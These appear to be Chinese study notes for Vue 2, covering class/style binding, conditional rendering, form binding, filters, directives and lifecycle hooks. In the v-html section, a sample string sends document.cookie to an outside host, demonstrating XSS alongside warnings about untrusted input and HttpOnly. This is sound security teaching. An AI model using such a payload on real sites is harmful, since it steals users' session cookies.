目录
1.绑定样式
在应用界面中, 某个(些)元素的样式是变化的, class/style 绑定就是专门用来实现动态样式效果的技术。
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
绑定class样式
写法 :class="xxx" xxx可以是字符串、对象、数组。正常的样式正常写,变化的样式用绑定的形式写。
- 字符串写法适用于:类名不确定,要动态获取。
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'zqf',
mood:'normal',
},
methods: {
changeMood(){
// this.mood = 'happy'
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3) //floor向下取整
this.mood = arr[index] //随机切换样式
}
},
})
</script>
- 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
mood:'normal',
//这些都是vue在维护 可随时修改
classArr:['atguigu1','atguigu2','atguigu3'],//把要用到的样式配在数组里面
},
methods: {
changeMood(){
// this.mood = 'happy'
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3) //floor向下取整
this.mood = arr[index]
}
},
})
</script>
- 对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
mood:'normal',
//这些都是vue在维护 可随时修改
classArr:['atguigu1','atguigu2','atguigu3'],//把要用到的样式配在数组里面
classObj:{
atguigu1:false,
atguigu2:false,
}
},
methods: {
changeMood(){
// this.mood = 'happy'
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3) //floor向下取整
this.mood = arr[index]
}
},
})
</script>
绑定style样式
如果要动态绑定style,就要将其设置为一个对象,以下展示两种写法:
:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
<!-- 绑定style样式--对象写法 同时使用两个样式对象-->
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> <br/><br/>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
mood:'normal',
//:style="{fontSize: xxx}"其中xxx是动态值。
styleObj:{
fontSize: '40px',
color:'red',
},
styleObj2:{
backgroundColor:'orange'
},
//:style="[a,b]"其中a、b是样式对象。
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
},
})
</script>
2.条件渲染
所谓条件渲染,就是你符合了某些条件。我就渲染某些东西。
1.v-if
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。以下写法就是错误的
<!-- 使用v-if做条件渲染 -->
<h2 v-if="false">欢迎来到{{name}}</h2>
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>
<!-- v-else和v-else-if -->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>
使用template对h2进行包裹,等最终页面渲染的时候,他会把template标签脱掉,注意template只能和v-if配合。
<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>zqf</h2>
<h2>北京</h2>
</template>
2.v-show
v-show="表达式" (能转换为布尔值的表达式)
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
<!-- 使用v-show做条件渲染 -->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1 === 1">欢迎来到{{name}}</h2>
其底层实现就是调整display属性,当表达式为false时,只是视觉上不可见,实际上依然存在。
结果:
使用 v-if 时,元素可能无法获取到,而使用v-show一定可以获取到,因为v-show只是隐藏。
如果需要频繁切换 v-show 较好,因为 v-show 是节点还在只是动态地显示。
当条件不成立时, v-if 的所有子节点不会解析(项目中使用)
3.列表渲染
4.收集表单数据
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
<!-- 准备好一个容器-->
<div id="root"> <!-- 提交之后阻止默认行为-->
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
<!--number:输入字符串转为有效的数字-->
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:<!--v-model默认收集的是输入框的value值,性别那一栏要设置标签内value值-->
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.bilibili.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
//将表单数据封装成一个对象更方便
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
//JSON格式输出
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
5.过滤器
定义:对要显示的数据进行特定格式化后再显示。过滤器的本质就是一个函数
(适用于一些简单逻辑的处理,例如时间戳转换为日期)
过滤器可应用于插值语法和 v-bind
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数(因为本身就可接收一个)、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
time自始至终都是那个时间戳,其他东西都是算出来的
- 局部过滤器
<!-- 准备好一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<!--绑定msg与x,此时也可以使用过滤器 但是 v-model 不可以使用 -->
<h3 :x="msg | mySlice">zqf</h3>
</div>
new Vue({
el:'#root',
data:{
time:1621561377603, //时间戳
msg:'你好,zqf'
},
//计算属性实现
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
//methods实现
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
//局部过滤器
filters:{
//形参默认值,如果str没有值则默认写上,如果有值则用传过来的值
timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
// console.log('@',value)
return dayjs(value).format(str)
}
}
})
在过滤器当中首先读取time,随后将time作为参数传递给timeFormater,timeFormater的返回值直接整个替换掉插值语法里的数据,最终实现解析。
过滤器第一个参数是更古不变的,永远是管道符前面的数据,如果过滤器有参数,则排在后面。
- 全局过滤器 (必须在new Vue之前)
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:'#root2',
data:{
msg:'hello,zqf!'
}
})
时间戳转化为日期
6.内置指令
学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<!-- 此时你好会被覆盖-->
<div v-text="name">你好,</div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'zqf',
str:'<h3>你好啊!</h3>'
}
})
</script>
v-text把所有的字符串都当成正常的文本去解析,不会被当成标签解析
结果
v-html指令
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。(与v-text相反)
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(冒充用户之手)。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'zqf',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
注意:"http://www.baidu.com?"+document.cookie当中document.cookie获取当前所处网站的全部cookie并跳走,并且把所有cookie作为参数形式传给别的服务器。
But:在设计之初也曾考虑过这种危险的行为,所以在cookie列表当中有一个HttpOnly字段,如果cookie被当前字段给限制了,那么这一条cookie只有http协议才能被读取携带,任何人包括JS代码操作都不会获取和携带。
如果全部勾选上,当再次获取时啥也获取不到
在一个留言界面把该字段输入进去,此时网站如果使用的的是v-html那么就危险了。
前端:永远不要相信用户的输入; 后端:永远不要相信前端传来的参数
v-cloak指令
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
</div>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'zqf'
}
})
</script>
加入某天发生特殊情况,vue.js足足等了5s才引入进来
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
此时会发生JS阻塞,绿色框和粉色框里的内容是不会被渲染的。
假如引入vue的代码放在容器之后,那么就会先渲染容器中的H2内容,再等待vue加载,再执行vue实例,此时会发生页面闪现,name在5秒后直接变为zqf。
v-cloak会在vue接管容器的一瞬间把v-cloak删掉了
此时vue还未接管容器
此时vue接管容器
选中所有标签中含有v-cloak的元素,让他们display:none,就是结构跑到页面上去了,但是让他隐藏,等vue引入进来之后,cloak会自动删除,等cloak删除之后,display:none就不会再限制。
<style>
[v-cloak]{
display:none;
}
</style>
当网速过慢的时候,v-cloak可以不让未经解析的模板跑到页面上去。
完整代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'zqf'
}
})
</script>
</html>
v-once指令
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
提出需求:想同时在页面中显示n的初始化值和变化之后的值。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
v-pre指令
1.跳过其所在节点的编译过程,vue不去解析此节点,直接放到界面上。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
7.自定义指令
v-show是调用了DOM身上的display属性,如果有一天自定义了一条v-hello,这个指令背后如何操作DOM元素,逻辑等着我们自己来写。
回顾DOM操作
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Document</title>
<style>
.demo{
background-color: orange;
}
</style>
</head>
<body>
<button id="btn">点我创建一个输入框</button>
<script type="text/javascript" >
const btn = document.getElementById('btn')
btn.onclick = ()=>{
const input = document.createElement('input')
//也不是所有命令都得放在document.body.appendChild(input)之后
input.cslassName = 'demo'
input.value = 99
input.onclick = ()=>{alert(1)}
document.body.appendChild(input)
//input只有放在页面上才能获取焦点
input.focus()
// input.parentElement.style.backgroundColor = 'skyblue'
console.log(input.parentElement)
}
</script>
</body>
</html>
函数式
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
</div>
定义一个big指令需要一个全新的配置项directives,可以以函数形式定义,第一个参数是DOM元素,可以对其进行DOM操作,第二个参数是绑定,v-bind是给标签中的某一个属性绑定值用的,这里的绑定是元素和指令之间的关联关系(v-big为何不去绑定button?)
big(element,binding){
console.log('big',this) //注意此处的this是window
// console.log('big')
element.innerText = binding.value * 10
},
big函数何时会被调用?
1.指令与元素成功绑定时(一上来)。(要么元素写的有问题,要门指令不存在,这就是写的有问题)
2.指令所在的模板被重新解析时。
对象式
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
fbind写成一个对象,对象里写很多个函数
bind:元素已经出来了和指定已经绑定好了,但是还没有放到页面,可以去写一些样式、value值、绑定事件等。
inserted:获取焦点
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()//获取焦点
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
还可以设置全局指令
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
//对象式
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
//函数式
Vue.directive('big',function(element,binding){
console.log('big',this) //注意此处的this是window
//console.log('big')
element.innerText = binding.value * 10
})
new Vue({
el:'#root',
data:{
name:'zqf',
n:1
},
directives:{
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
/* 'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
big(element,binding){
console.log('big',this) //注意此处的this是window
// console.log('big')
element.innerText = binding.value * 10
},
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()//获取焦点
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
一、定义语法:
8.生命周期
生命周期引入
生命周期,又名:生命周期回调函数、生命周期函数、生命周期钩子。他是Vue在关键时刻帮我们调用的一些特殊名称的函数。生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。生命周期函数中的this指向是vm 或 组件实例对象。
所有生命周期钩子函数的 this
上下文都会自动指向当前调用它的组件实例。注意:避免用箭头函数来定义生命周期钩子,因为如果这样的话你将无法在函数中通过 this
获取组件实例。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
a:false,
opacity:1
},
methods: {
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted(){
console.log('mounted',this)
setInterval(() => {
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
})
//通过外部的定时器实现(不推荐)
/* setInterval(() => {
vm.opacity -= 0.01
if(vm.opacity <= 0) vm.opacity = 1
},16) */
</script>
所谓的生命周期就是一些函数,例如mounted函数,是vue在一些关键时刻帮助我们调用的函数。
分析生命周期
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>分析生命周期</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root" :x="n">
<h2 v-text="n"></h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
// template:`
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data:{
n:1
},
methods: {
add(){
console.log('add')
this.n++
},
bye(){
console.log('bye')
this.$destroy()
}
},
watch:{
n(){
console.log('n变了')
}
},
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
</html>
总结生命周期
常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
stop(){
this.$destroy()
}
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted(){
console.log('mounted',this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeDestroy() {
clearInterval(this.timer)//销毁之前停止计时器
console.log('vm即将驾鹤西游了')
},
})
</script>
</html>
进一步了解生命周期: